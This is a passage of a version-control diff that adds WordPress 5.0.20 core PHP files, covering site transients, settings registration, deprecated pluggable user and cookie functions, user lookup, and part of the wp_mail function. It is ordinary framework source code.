+				delete_site_option( $transient_option  );
+				delete_site_option( $transient_timeout );
+				$value = false;
+			}
+		}
+
+		if ( ! isset( $value ) )
+			$value = get_site_option( $transient_option );
+	}
+
+	/**
+	 * Filters the value of an existing site transient.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 2.9.0
+	 * @since 4.4.0 The `$transient` parameter was added.
+	 *
+	 * @param mixed  $value     Value of site transient.
+	 * @param string $transient Transient name.
+	 */
+	return apply_filters( "site_transient_{$transient}", $value, $transient );
+}
+
+/**
+ * Set/update the value of a site transient.
+ *
+ * You do not need to serialize values, if the value needs to be serialize, then
+ * it will be serialized before it is set.
+ *
+ * @since 2.9.0
+ *
+ * @see set_transient()
+ *
+ * @param string $transient  Transient name. Expected to not be SQL-escaped. Must be
+ *                           167 characters or fewer in length.
+ * @param mixed  $value      Transient value. Expected to not be SQL-escaped.
+ * @param int    $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
+ * @return bool False if value was not set and true if value was set.
+ */
+function set_site_transient( $transient, $value, $expiration = 0 ) {
+
+	/**
+	 * Filters the value of a specific site transient before it is set.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 3.0.0
+	 * @since 4.4.0 The `$transient` parameter was added.
+	 *
+	 * @param mixed  $value     New value of site transient.
+	 * @param string $transient Transient name.
+	 */
+	$value = apply_filters( "pre_set_site_transient_{$transient}", $value, $transient );
+
+	$expiration = (int) $expiration;
+
+	/**
+	 * Filters the expiration for a site transient before its value is set.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param int    $expiration Time until expiration in seconds. Use 0 for no expiration.
+	 * @param mixed  $value      New value of site transient.
+	 * @param string $transient  Transient name.
+	 */
+	$expiration = apply_filters( "expiration_of_site_transient_{$transient}", $expiration, $value, $transient );
+
+	if ( wp_using_ext_object_cache() ) {
+		$result = wp_cache_set( $transient, $value, 'site-transient', $expiration );
+	} else {
+		$transient_timeout = '_site_transient_timeout_' . $transient;
+		$option = '_site_transient_' . $transient;
+		if ( false === get_site_option( $option ) ) {
+			if ( $expiration )
+				add_site_option( $transient_timeout, time() + $expiration );
+			$result = add_site_option( $option, $value );
+		} else {
+			if ( $expiration )
+				update_site_option( $transient_timeout, time() + $expiration );
+			$result = update_site_option( $option, $value );
+		}
+	}
+	if ( $result ) {
+
+		/**
+		 * Fires after the value for a specific site transient has been set.
+		 *
+		 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+		 *
+		 * @since 3.0.0
+		 * @since 4.4.0 The `$transient` parameter was added
+		 *
+		 * @param mixed  $value      Site transient value.
+		 * @param int    $expiration Time until expiration in seconds.
+		 * @param string $transient  Transient name.
+		 */
+		do_action( "set_site_transient_{$transient}", $value, $expiration, $transient );
+
+		/**
+		 * Fires after the value for a site transient has been set.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $transient  The name of the site transient.
+		 * @param mixed  $value      Site transient value.
+		 * @param int    $expiration Time until expiration in seconds.
+		 */
+		do_action( 'setted_site_transient', $transient, $value, $expiration );
+	}
+	return $result;
+}
+
+/**
+ * Register default settings available in WordPress.
+ *
+ * The settings registered here are primarily useful for the REST API, so this
+ * does not encompass all settings available in WordPress.
+ *
+ * @since 4.7.0
+ */
+function register_initial_settings() {
+	register_setting( 'general', 'blogname', array(
+		'show_in_rest' => array(
+			'name' => 'title',
+		),
+		'type'         => 'string',
+		'description'  => __( 'Site title.' ),
+	) );
+
+	register_setting( 'general', 'blogdescription', array(
+		'show_in_rest' => array(
+			'name' => 'description',
+		),
+		'type'         => 'string',
+		'description'  => __( 'Site tagline.' ),
+	) );
+
+	if ( ! is_multisite() ) {
+		register_setting( 'general', 'siteurl', array(
+			'show_in_rest' => array(
+				'name'    => 'url',
+				'schema'  => array(
+					'format' => 'uri',
+				),
+			),
+			'type'         => 'string',
+			'description'  => __( 'Site URL.' ),
+		) );
+	}
+
+	if ( ! is_multisite() ) {
+		register_setting( 'general', 'admin_email', array(
+			'show_in_rest' => array(
+				'name'    => 'email',
+				'schema'  => array(
+					'format' => 'email',
+				),
+			),
+			'type'         => 'string',
+			'description'  => __( 'This address is used for admin purposes, like new user notification.' ),
+		) );
+	}
+
+	register_setting( 'general', 'timezone_string', array(
+		'show_in_rest' => array(
+			'name' => 'timezone',
+		),
+		'type'         => 'string',
+		'description'  => __( 'A city in the same timezone as you.' ),
+	) );
+
+	register_setting( 'general', 'date_format', array(
+		'show_in_rest' => true,
+		'type'         => 'string',
+		'description'  => __( 'A date format for all date strings.' ),
+	) );
+
+	register_setting( 'general', 'time_format', array(
+		'show_in_rest' => true,
+		'type'         => 'string',
+		'description'  => __( 'A time format for all time strings.' ),
+	) );
+
+	register_setting( 'general', 'start_of_week', array(
+		'show_in_rest' => true,
+		'type'         => 'integer',
+		'description'  => __( 'A day number of the week that the week should start on.' ),
+	) );
+
+	register_setting( 'general', 'WPLANG', array(
+		'show_in_rest' => array(
+			'name' => 'language',
+		),
+		'type'         => 'string',
+		'description'  => __( 'WordPress locale code.' ),
+		'default'      => 'en_US',
+	) );
+
+	register_setting( 'writing', 'use_smilies', array(
+		'show_in_rest' => true,
+		'type'         => 'boolean',
+		'description'  => __( 'Convert emoticons like :-) and :-P to graphics on display.' ),
+		'default'      => true,
+	) );
+
+	register_setting( 'writing', 'default_category', array(
+		'show_in_rest' => true,
+		'type'         => 'integer',
+		'description'  => __( 'Default post category.' ),
+	) );
+
+	register_setting( 'writing', 'default_post_format', array(
+		'show_in_rest' => true,
+		'type'         => 'string',
+		'description'  => __( 'Default post format.' ),
+	) );
+
+	register_setting( 'reading', 'posts_per_page', array(
+		'show_in_rest' => true,
+		'type'         => 'integer',
+		'description'  => __( 'Blog pages show at most.' ),
+		'default'      => 10,
+	) );
+
+	register_setting( 'discussion', 'default_ping_status', array(
+		'show_in_rest' => array(
+			'schema'   => array(
+				'enum' => array( 'open', 'closed' ),
+			),
+		),
+		'type'         => 'string',
+		'description'  => __( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new articles.' ),
+	) );
+
+	register_setting( 'discussion', 'default_comment_status', array(
+		'show_in_rest' => array(
+			'schema'   => array(
+				'enum' => array( 'open', 'closed' ),
+			),
+		),
+		'type'         => 'string',
+		'description'  => __( 'Allow people to post comments on new articles.' ),
+	) );
+
+}
+
+/**
+ * Register a setting and its data.
+ *
+ * @since 2.7.0
+ * @since 4.7.0 `$args` can be passed to set flags on the setting, similar to `register_meta()`.
+ *
+ * @global array $new_whitelist_options
+ * @global array $wp_registered_settings
+ *
+ * @param string $option_group A settings group name. Should correspond to a whitelisted option key name.
+ * 	Default whitelisted option key names include "general," "discussion," and "reading," among others.
+ * @param string $option_name The name of an option to sanitize and save.
+ * @param array  $args {
+ *     Data used to describe the setting when registered.
+ *
+ *     @type string   $type              The type of data associated with this setting.
+ *                                       Valid values are 'string', 'boolean', 'integer', and 'number'.
+ *     @type string   $description       A description of the data attached to this setting.
+ *     @type callable $sanitize_callback A callback function that sanitizes the option's value.
+ *     @type bool     $show_in_rest      Whether data associated with this setting should be included in the REST API.
+ *     @type mixed    $default           Default value when calling `get_option()`.
+ * }
+ */
+function register_setting( $option_group, $option_name, $args = array() ) {
+	global $new_whitelist_options, $wp_registered_settings;
+
+	$defaults = array(
+		'type'              => 'string',
+		'group'             => $option_group,
+		'description'       => '',
+		'sanitize_callback' => null,
+		'show_in_rest'      => false,
+	);
+
+	// Back-compat: old sanitize callback is added.
+	if ( is_callable( $args ) ) {
+		$args = array(
+			'sanitize_callback' => $args,
+		);
+	}
+
+	/**
+	 * Filters the registration arguments when registering a setting.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array  $args         Array of setting registration arguments.
+	 * @param array  $defaults     Array of default arguments.
+	 * @param string $option_group Setting group.
+	 * @param string $option_name  Setting name.
+	 */
+	$args = apply_filters( 'register_setting_args', $args, $defaults, $option_group, $option_name );
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( ! is_array( $wp_registered_settings ) ) {
+		$wp_registered_settings = array();
+	}
+
+	if ( 'misc' == $option_group ) {
+		_deprecated_argument( __FUNCTION__, '3.0.0',
+			/* translators: %s: misc */
+			sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ),
+				'misc'
+			)
+		);
+		$option_group = 'general';
+	}
+
+	if ( 'privacy' == $option_group ) {
+		_deprecated_argument( __FUNCTION__, '3.5.0',
+			/* translators: %s: privacy */
+			sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ),
+				'privacy'
+			)
+		);
+		$option_group = 'reading';
+	}
+
+	$new_whitelist_options[ $option_group ][] = $option_name;
+	if ( ! empty( $args['sanitize_callback'] ) ) {
+		add_filter( "sanitize_option_{$option_name}", $args['sanitize_callback'] );
+	}
+	if ( array_key_exists( 'default', $args ) ) {
+		add_filter( "default_option_{$option_name}", 'filter_default_option', 10, 3 );
+	}
+
+	$wp_registered_settings[ $option_name ] = $args;
+}
+
+/**
+ * Unregister a setting.
+ *
+ * @since 2.7.0
+ * @since 4.7.0 `$sanitize_callback` was deprecated. The callback from `register_setting()` is now used instead.
+ *
+ * @global array $new_whitelist_options
+ *
+ * @param string   $option_group      The settings group name used during registration.
+ * @param string   $option_name       The name of the option to unregister.
+ * @param callable $deprecated        Deprecated.
+ */
+function unregister_setting( $option_group, $option_name, $deprecated = '' ) {
+	global $new_whitelist_options, $wp_registered_settings;
+
+	if ( 'misc' == $option_group ) {
+		_deprecated_argument( __FUNCTION__, '3.0.0',
+			/* translators: %s: misc */
+			sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ),
+				'misc'
+			)
+		);
+		$option_group = 'general';
+	}
+
+	if ( 'privacy' == $option_group ) {
+		_deprecated_argument( __FUNCTION__, '3.5.0',
+			/* translators: %s: privacy */
+			sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ),
+				'privacy'
+			)
+		);
+		$option_group = 'reading';
+	}
+
+	$pos = array_search( $option_name, (array) $new_whitelist_options[ $option_group ] );
+	if ( $pos !== false ) {
+		unset( $new_whitelist_options[ $option_group ][ $pos ] );
+	}
+	if ( '' !== $deprecated ) {
+		_deprecated_argument( __FUNCTION__, '4.7.0',
+			/* translators: 1: $sanitize_callback, 2: register_setting() */
+			sprintf( __( '%1$s is deprecated. The callback from %2$s is used instead.' ),
+				'<code>$sanitize_callback</code>',
+				'<code>register_setting()</code>'
+			)
+		);
+		remove_filter( "sanitize_option_{$option_name}", $deprecated );
+	}
+
+	if ( isset( $wp_registered_settings[ $option_name ] ) ) {
+		// Remove the sanitize callback if one was set during registration.
+		if ( ! empty( $wp_registered_settings[ $option_name ]['sanitize_callback'] ) ) {
+			remove_filter( "sanitize_option_{$option_name}", $wp_registered_settings[ $option_name ]['sanitize_callback'] );
+		}
+
+		unset( $wp_registered_settings[ $option_name ] );
+	}
+}
+
+/**
+ * Retrieves an array of registered settings.
+ *
+ * @since 4.7.0
+ *
+ * @return array List of registered settings, keyed by option name.
+ */
+function get_registered_settings() {
+	global $wp_registered_settings;
+
+	if ( ! is_array( $wp_registered_settings ) ) {
+		return array();
+	}
+
+	return $wp_registered_settings;
+}
+
+/**
+ * Filter the default value for the option.
+ *
+ * For settings which register a default setting in `register_setting()`, this
+ * function is added as a filter to `default_option_{$option}`.
+ *
+ * @since 4.7.0
+ *
+ * @param mixed $default Existing default value to return.
+ * @param string $option Option name.
+ * @param bool $passed_default Was `get_option()` passed a default value?
+ * @return mixed Filtered default value.
+ */
+function filter_default_option( $default, $option, $passed_default ) {
+	if ( $passed_default ) {
+		return $default;
+	}
+
+	$registered = get_registered_settings();
+	if ( empty( $registered[ $option ] ) ) {
+		return $default;
+	}
+
+	return $registered[ $option ]['default'];
+}
Index: /tags/5.0.20/src/wp-includes/pluggable-deprecated.php
===================================================================
--- /tags/5.0.20/src/wp-includes/pluggable-deprecated.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/pluggable-deprecated.php	(revision 56912)
@@ -0,0 +1,208 @@
+<?php
+/**
+ * Deprecated pluggable functions from past WordPress versions. You shouldn't use these
+ * functions and look for the alternatives instead. The functions will be removed in a
+ * later version.
+ *
+ * Deprecated warnings are also thrown if one of these functions is being defined by a plugin.
+ *
+ * @package WordPress
+ * @subpackage Deprecated
+ * @see pluggable.php
+ */
+
+/*
+ * Deprecated functions come here to die.
+ */
+
+if ( !function_exists('set_current_user') ) :
+/**
+ * Changes the current user by ID or name.
+ *
+ * Set $id to null and specify a name if you do not know a user's ID.
+ *
+ * @since 2.0.1
+ * @deprecated 3.0.0 Use wp_set_current_user()
+ * @see wp_set_current_user()
+ *
+ * @param int|null $id User ID.
+ * @param string $name Optional. The user's username
+ * @return WP_User returns wp_set_current_user()
+ */
+function set_current_user($id, $name = '') {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_set_current_user()' );
+	return wp_set_current_user($id, $name);
+}
+endif;
+
+if ( !function_exists('get_currentuserinfo') ) :
+/**
+ * Populate global variables with information about the currently logged in user.
+ *
+ * @since 0.71
+ * @deprecated 4.5.0 Use wp_get_current_user()
+ * @see wp_get_current_user()
+ *
+ * @return bool|WP_User False on XMLRPC Request and invalid auth cookie, WP_User instance otherwise.
+ */
+function get_currentuserinfo() {
+	_deprecated_function( __FUNCTION__, '4.5.0', 'wp_get_current_user()' );
+
+	return _wp_get_current_user();
+}
+endif;
+
+if ( !function_exists('get_userdatabylogin') ) :
+/**
+ * Retrieve user info by login name.
+ *
+ * @since 0.71
+ * @deprecated 3.3.0 Use get_user_by()
+ * @see get_user_by()
+ *
+ * @param string $user_login User's username
+ * @return bool|object False on failure, User DB row object
+ */
+function get_userdatabylogin($user_login) {
+	_deprecated_function( __FUNCTION__, '3.3.0', "get_user_by('login')" );
+	return get_user_by('login', $user_login);
+}
+endif;
+
+if ( !function_exists('get_user_by_email') ) :
+/**
+ * Retrieve user info by email.
+ *
+ * @since 2.5.0
+ * @deprecated 3.3.0 Use get_user_by()
+ * @see get_user_by()
+ *
+ * @param string $email User's email address
+ * @return bool|object False on failure, User DB row object
+ */
+function get_user_by_email($email) {
+	_deprecated_function( __FUNCTION__, '3.3.0', "get_user_by('email')" );
+	return get_user_by('email', $email);
+}
+endif;
+
+if ( !function_exists('wp_setcookie') ) :
+/**
+ * Sets a cookie for a user who just logged in. This function is deprecated.
+ *
+ * @since 1.5.0
+ * @deprecated 2.5.0 Use wp_set_auth_cookie()
+ * @see wp_set_auth_cookie()
+ *
+ * @param string $username The user's username
+ * @param string $password Optional. The user's password
+ * @param bool $already_md5 Optional. Whether the password has already been through MD5
+ * @param string $home Optional. Will be used instead of COOKIEPATH if set
+ * @param string $siteurl Optional. Will be used instead of SITECOOKIEPATH if set
+ * @param bool $remember Optional. Remember that the user is logged in
+ */
+function wp_setcookie($username, $password = '', $already_md5 = false, $home = '', $siteurl = '', $remember = false) {
+	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_set_auth_cookie()' );
+	$user = get_user_by('login', $username);
+	wp_set_auth_cookie($user->ID, $remember);
+}
+else :
+	_deprecated_function( 'wp_setcookie', '2.5.0', 'wp_set_auth_cookie()' );
+endif;
+
+if ( !function_exists('wp_clearcookie') ) :
+/**
+ * Clears the authentication cookie, logging the user out. This function is deprecated.
+ *
+ * @since 1.5.0
+ * @deprecated 2.5.0 Use wp_clear_auth_cookie()
+ * @see wp_clear_auth_cookie()
+ */
+function wp_clearcookie() {
+	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_clear_auth_cookie()' );
+	wp_clear_auth_cookie();
+}
+else :
+	_deprecated_function( 'wp_clearcookie', '2.5.0', 'wp_clear_auth_cookie()' );
+endif;
+
+if ( !function_exists('wp_get_cookie_login') ):
+/**
+ * Gets the user cookie login. This function is deprecated.
+ *
+ * This function is deprecated and should no longer be extended as it won't be
+ * used anywhere in WordPress. Also, plugins shouldn't use it either.
+ *
+ * @since 2.0.3
+ * @deprecated 2.5.0
+ *
+ * @return bool Always returns false
+ */
+function wp_get_cookie_login() {
+	_deprecated_function( __FUNCTION__, '2.5.0' );
+	return false;
+}
+else :
+	_deprecated_function( 'wp_get_cookie_login', '2.5.0' );
+endif;
+
+if ( !function_exists('wp_login') ) :
+/**
+ * Checks a users login information and logs them in if it checks out. This function is deprecated.
+ *
+ * Use the global $error to get the reason why the login failed. If the username
+ * is blank, no error will be set, so assume blank username on that case.
+ *
+ * Plugins extending this function should also provide the global $error and set
+ * what the error is, so that those checking the global for why there was a
+ * failure can utilize it later.
+ *
+ * @since 1.2.2
+ * @deprecated 2.5.0 Use wp_signon()
+ * @see wp_signon()
+ *
+ * @global string $error Error when false is returned
+ *
+ * @param string $username   User's username
+ * @param string $password   User's password
+ * @param string $deprecated Not used
+ * @return bool False on login failure, true on successful check
+ */
+function wp_login($username, $password, $deprecated = '') {
+	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_signon()' );
+	global $error;
+
+	$user = wp_authenticate($username, $password);
+
+	if ( ! is_wp_error($user) )
+		return true;
+
+	$error = $user->get_error_message();
+	return false;
+}
+else :
+	_deprecated_function( 'wp_login', '2.5.0', 'wp_signon()' );
+endif;
+
+/**
+ * WordPress AtomPub API implementation.
+ *
+ * Originally stored in wp-app.php, and later wp-includes/class-wp-atom-server.php.
+ * It is kept here in case a plugin directly referred to the class.
+ *
+ * @since 2.2.0
+ * @deprecated 3.5.0
+ *
+ * @link https://wordpress.org/plugins/atom-publishing-protocol/
+ */
+if ( ! class_exists( 'wp_atom_server', false ) ) {
+	class wp_atom_server {
+		public function __call( $name, $arguments ) {
+			_deprecated_function( __CLASS__ . '::' . $name, '3.5.0', 'the Atom Publishing Protocol plugin' );
+		}
+
+		public static function __callStatic( $name, $arguments ) {
+			_deprecated_function( __CLASS__ . '::' . $name, '3.5.0', 'the Atom Publishing Protocol plugin' );
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/pluggable.php
===================================================================
--- /tags/5.0.20/src/wp-includes/pluggable.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/pluggable.php	(revision 56912)
@@ -0,0 +1,2653 @@
+<?php
+/**
+ * These functions can be replaced via plugins. If plugins do not redefine these
+ * functions, then these will be used instead.
+ *
+ * @package WordPress
+ */
+
+if ( !function_exists('wp_set_current_user') ) :
+/**
+ * Changes the current user by ID or name.
+ *
+ * Set $id to null and specify a name if you do not know a user's ID.
+ *
+ * Some WordPress functionality is based on the current user and not based on
+ * the signed in user. Therefore, it opens the ability to edit and perform
+ * actions on users who aren't signed in.
+ *
+ * @since 2.0.3
+ * @global WP_User $current_user The current user object which holds the user data.
+ *
+ * @param int    $id   User ID
+ * @param string $name User's username
+ * @return WP_User Current user User object
+ */
+function wp_set_current_user($id, $name = '') {
+	global $current_user;
+
+	// If `$id` matches the user who's already current, there's nothing to do.
+	if ( isset( $current_user )
+		&& ( $current_user instanceof WP_User )
+		&& ( $id == $current_user->ID )
+		&& ( null !== $id )
+	) {
+		return $current_user;
+	}
+
+	$current_user = new WP_User( $id, $name );
+
+	setup_userdata( $current_user->ID );
+
+	/**
+	 * Fires after the current user is set.
+	 *
+	 * @since 2.0.1
+	 */
+	do_action( 'set_current_user' );
+
+	return $current_user;
+}
+endif;
+
+if ( !function_exists('wp_get_current_user') ) :
+/**
+ * Retrieve the current user object.
+ *
+ * Will set the current user, if the current user is not set. The current user
+ * will be set to the logged-in person. If no user is logged-in, then it will
+ * set the current user to 0, which is invalid and won't have any permissions.
+ *
+ * @since 2.0.3
+ *
+ * @see _wp_get_current_user()
+ * @global WP_User $current_user Checks if the current user is set.
+ *
+ * @return WP_User Current WP_User instance.
+ */
+function wp_get_current_user() {
+	return _wp_get_current_user();
+}
+endif;
+
+if ( !function_exists('get_userdata') ) :
+/**
+ * Retrieve user info by user ID.
+ *
+ * @since 0.71
+ *
+ * @param int $user_id User ID
+ * @return WP_User|false WP_User object on success, false on failure.
+ */
+function get_userdata( $user_id ) {
+	return get_user_by( 'id', $user_id );
+}
+endif;
+
+if ( !function_exists('get_user_by') ) :
+/**
+ * Retrieve user info by a given field
+ *
+ * @since 2.8.0
+ * @since 4.4.0 Added 'ID' as an alias of 'id' for the `$field` parameter.
+ *
+ * @param string     $field The field to retrieve the user with. id | ID | slug | email | login.
+ * @param int|string $value A value for $field. A user ID, slug, email address, or login name.
+ * @return WP_User|false WP_User object on success, false on failure.
+ */
+function get_user_by( $field, $value ) {
+	$userdata = WP_User::get_data_by( $field, $value );
+
+	if ( !$userdata )
+		return false;
+
+	$user = new WP_User;
+	$user->init( $userdata );
+
+	return $user;
+}
+endif;
+
+if ( !function_exists('cache_users') ) :
+/**
+ * Retrieve info for user lists to prevent multiple queries by get_userdata()
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $user_ids User ID numbers list
+ */
+function cache_users( $user_ids ) {
+	global $wpdb;
+
+	$clean = _get_non_cached_ids( $user_ids, 'users' );
+
+	if ( empty( $clean ) )
+		return;
+
+	$list = implode( ',', $clean );
+
+	$users = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($list)" );
+
+	$ids = array();
+	foreach ( $users as $user ) {
+		update_user_caches( $user );
+		$ids[] = $user->ID;
+	}
+	update_meta_cache( 'user', $ids );
+}
+endif;
+
+if ( !function_exists( 'wp_mail' ) ) :
+/**
+ * Send mail, similar to PHP's mail
+ *
+ * A true return value does not automatically mean that the user received the
+ * email successfully. It just only means that the method used was able to
+ * process the request without any errors.
+ *
+ * Using the two 'wp_mail_from' and 'wp_mail_from_name' hooks allow from
+ * creating a from address like 'Name <email@address.com>' when both are set. If
+ * just 'wp_mail_from' is set, then just the email address will be used with no
+ * name.
+ *
+ * The default content type is 'text/plain' which does not allow using HTML.
+ * However, you can set the content type of the email by using the
+ * {@see 'wp_mail_content_type'} filter.
+ *
+ * The default charset is based on the charset used on the blog. The charset can
+ * be set using the {@see 'wp_mail_charset'} filter.
+ *
+ * @since 1.2.1
+ *
+ * @global PHPMailer $phpmailer
+ *
+ * @param string|array $to          Array or comma-separated list of email addresses to send message.
+ * @param string       $subject     Email subject
+ * @param string       $message     Message contents
+ * @param string|array $headers     Optional. Additional headers.
+ * @param string|array $attachments Optional. Files to attach.
+ * @return bool Whether the email contents were sent successfully.
+ */
+function wp_mail( $to, $subject, $message, $headers = '', $attachments = array() ) {
+	// Compact the input, apply the filters, and extract them back out
+
+	/**
+	 * Filters the wp_mail() arguments.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args A compacted array of wp_mail() arguments, including the "to" email,
+	 *                    subject, message, headers, and attachments values.
+	 */
+	$atts = apply_filters( 'wp_mail', compact( 'to', 'subject', 'message', 'headers', 'attachments' ) );
+
+	if ( isset( $atts['to'] ) ) {
+		$to = $atts['to'];
+	}
+
+	if ( !is_array( $to ) ) {
+		$to = explode( ',', $to );
+	}
+
+	if ( isset( $atts['subject'] ) ) {
+		$subject = $atts['subject'];
+	}
+
+	if ( isset( $atts['message'] ) ) {
+		$message = $atts['message'];
+	}
+
+	if ( isset( $atts['headers'] ) ) {
+		$headers = $atts['headers'];
+	}
+
+	if ( isset( $atts['attachments'] ) ) {
+		$attachments = $atts['attachments'];
+	}
+
+	if ( ! is_array( $attachments ) ) {
+		$attachments = explode( "\n", str_replace( "\r\n", "\n", $attachments ) );
+	}
+	global $phpmailer;
+
+	// (Re)create it, if it's gone missing
+	if ( ! ( $phpmailer instanceof PHPMailer ) ) {
+		require_once ABSPATH . WPINC . '/class-phpmailer.php';
+		require_once ABSPATH . WPINC . '/class-smtp.php';
+		$phpmailer = new PHPMailer( true );
+	}
+
+	// Headers
+	$cc = $bcc = $reply_to = array();
+
+	if ( empty( $headers ) ) {
+		$headers = array();
+	} else {
+		if ( !is_array( $headers ) ) {
+			// Explode the headers out, so this function can take both
+			// string headers and an array of headers.
+			$tempheaders = explode( "\n", str_replace( "\r\n", "\n", $headers ) );
+		} else {
+			$tempheaders = $headers;
+		}
+		$headers = array();
+
+		// If it's actually got contents
+		if ( !empty( $tempheaders ) ) {
+			// Iterate through the raw headers
+			foreach ( (array) $tempheaders as $header ) {
+				if ( strpos($header, ':') === false ) {
+					if ( false !== stripos( $header, 'boundary=' ) ) {
+						$parts = preg_split('/boundary=/i', trim( $header ) );
+						$boundary = trim( str_replace( array( "'", '"' ), '', $parts[1] ) );
+					}
+					continue;
+				}
+				// Explode them out
+				list( $name, $content ) = explode( ':', trim( $header ), 2 );
+
+				// Cleanup crew
+				$name    = trim( $name    );
+				$content = trim( $content );
+
+				switch ( strtolower( $name ) ) {
+					// Mainly for legacy -- process a From: header if it's there
+					case 'from':
+						$bracket_pos = strpos( $content, '<' );
+						if ( $bracket_pos !== false ) {
+							// Text before the bracketed email is the "From" name.
+							if ( $bracket_pos > 0 ) {
+								$from_name = substr( $content, 0, $bracket_pos - 1 );
+								$from_name = str_replace( '"', '', $from_name );
+								$from_name = trim( $from_name );
+							}
+
+							$from_email = substr( $content, $bracket_pos + 1 );
+							$from_email = str_replace( '>', '', $from_email );
+							$from_email = trim( $from_email );
+
+						// Avoid setting an empty $from_email.
+						} elseif ( '' !== trim( $content ) ) {
+							$from_email = trim( $content );
+						}
+						break;
+					case 'content-type':
+						if ( strpos( $content, ';' ) !== false ) {
+							list( $type, $charset_content ) = explode( ';', $content );
+							$content_type = trim( $type );
+							if ( false !== stripos( $charset_content, 'charset=' ) ) {
+								$charset = trim( str_replace( array( 'charset=', '"' ), '', $charset_content ) );
+							} elseif ( false !== stripos( $charset_content, 'boundary=' ) ) {
+								$boundary = trim( str_replace( array( 'BOUNDARY=', 'boundary=', '"' ), '', $charset_content ) );
+								$charset = '';
+							}
+
+						// Avoid setting an empty $content_type.
+						} elseif ( '' !== trim( $content ) ) {
+							$content_type = trim( $content );
+						}
+						break;
+					case 'cc':
+						$cc = array_merge( (array) $cc, explode( ',', $content ) );
+						break;
+					case 'bcc':
+						$bcc = array_merge( (array) $bcc, explode( ',', $content ) );
+						break;
+					case 'reply-to':
+						$reply_to = array_merge( (array) $reply_to, explode( ',', $content ) );
+						break;
+					default:
+						// Add it to our grand headers array
+						$headers[trim( $name )] = trim( $content );
+						break;
+				}
+			}
+		}
+	}
+
+	// Empty out the values that may be set
+	$phpmailer->clearAllRecipients();
+	$phpmailer->clearAttachments();
+	$phpmailer->clearCustomHeaders();
+	$phpmailer->clearReplyTos();
+	$phpmailer->Body    = '';
+	$phpmailer->AltBody = '';
+
+	// From email and name
+	// If we don't have a name from the input headers
+	if ( !isset( $from_name ) )
+		$from_name = 'WordPress';
+
+	/* If we don't have an email from the input headers default to wordpress@$sitename
+	 * Some hosts will block outgoing mail from this address if it doesn't exist but
+	 * there's no easy alternative. Defaulting to admin_email might appear to be another
+	 * option but some hosts may refuse to relay mail from an unknown domain. See
+	 * https://core.trac.wordpress.org/ticket/5007.
+	 */
+
+	if ( !isset( $from_email ) ) {
+		// Get the site domain and get rid of www.
+		$sitename = strtolower( $_SERVER['SERVER_NAME'] );
+		if ( substr( $sitename, 0, 4 ) == 'www.' ) {
+			$sitename = substr( $sitename, 4 );
+		}
+
+		$from_email = 'wordpress@' . $sitename;
+	}
+
+	/**
+	 * Filters the email address to send from.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $from_email Email address to send from.
+	 */
+	$from_email = apply_filters( 'wp_mail_from', $from_email );
+
+	/**
+	 * Filters the name to associate with the "from" email address.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $from_name Name associated with the "from" email address.
+	 */
+	$from_name = apply_filters( 'wp_mail_from_name', $from_name );
+
+	try {
+		$phpmailer->setFrom( $from_email, $from_name, false );
+	} catch ( phpmailerException $e ) {
+		$mail_error_data = compact( 'to', 'subject', 'message', 'headers', 'attachments' );
+		$mail_error_data['phpmailer_exception_code'] = $e->getCode();
+
+		/** This filter is documented in wp-includes/pluggable.php */
+		do_action( 'wp_mail_failed', new WP_Error( 'wp_mail_failed', $e->getMessage(), $mail_error_data ) );
+
+		return false;
+	}
+
+	// Set mail's subject and body
+	$phpmailer->Subject = $subject;
+	$phpmailer->Body    = $message;
+
+	// Set destination addresses, using appropriate methods for handling addresses
+	$address_headers = compact( 'to', 'cc', 'bcc', 'reply_to' );
+
+	foreach ( $address_headers as $address_header => $addresses ) {
+		if ( empty( $addresses ) ) {
+			continue;
+		}
+
+		foreach ( (array) $addresses as $address ) {
+			try {
+				// Break $recipient into name and address parts if in the format "Foo <bar@baz.com>"
+				$recipient_name = '';
+
+				if ( preg_match( '/(.*)<(.+)>/', $address, $matches ) ) {
+					if ( count( $matches ) == 3 ) {
+						$recipient_name = $matches[1];
+						$address        = $matches[2];
+					}
+				}
+
+				switch ( $address_header ) {
+					case 'to':
+						$phpmailer->addAddress( $address, $recipient_name );
+						break;
+					case 'cc':
+						$phpmailer->addCc( $address, $recipient_name );
+						break;
+					case 'bcc':
+						$phpmailer->addBcc( $address, $recipient_name );
+						break;
+					case 'reply_to':
+						$phpmailer->addReplyTo( $address, $recipient_name );
+						break;
+				}
+			} catch ( phpmailerException $e ) {
+				continue;
+			}
+		}
+	}
+
+	// Set to use PHP's mail()
+	$phpmailer->isMail();
+
+	// Set Content-Type and charset
+	// If we don't have a content-type from the input headers
+	if ( !isset( $content_type ) )
+		$content_type = 'text/plain';
+
+	/**
+	 * Filters the wp_mail() content type.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $content_type Default wp_mail() content type.
+	 */
+	$content_type = apply_filters( 'wp_mail_content_type', $content_type );
+
+	$phpmailer->ContentType = $content_type;
+
+	// Set whether it's plaintext, depending on $content_type
+	if ( 'text/html' == $content_type )
